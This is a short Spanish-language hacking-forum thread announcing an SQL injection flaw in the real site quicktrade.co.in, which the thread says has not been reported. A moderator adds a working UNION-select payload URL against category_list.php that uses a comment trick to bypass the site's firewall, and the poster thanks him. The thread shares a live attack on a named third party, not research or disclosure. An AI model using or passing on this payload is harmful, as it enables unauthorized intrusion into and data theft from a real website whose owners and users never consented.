[SQLI] www.quicktrade.co.in

Aburrido y buscando algunas páginas me encontre unas cuantas con fallos..





Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Payload: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Autor: Vasyyyl.
Reportado: No

Le falta información al post, no es suficiente con poner una comilla y mandar un pantallazo, tiene que ser completo, te invito a pasar por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta reglas para saber como postear bien un bug encontrado, te falto el payload o vector de ataque como este:

http://www.quicktrade.co.in/category_list.php?id=32+/*!00000union*/+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14+--+

Incluso la web tiene un waf que hay que bypassear y no lo mencionaste, bueno ya edito el post y agrego lo que falta.

Saludos!, EPSILON

HOSTIAA es verdad! muchas gracias por añadirlo,se me habia olvidado. En los proximos reportes lo añadiré. Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta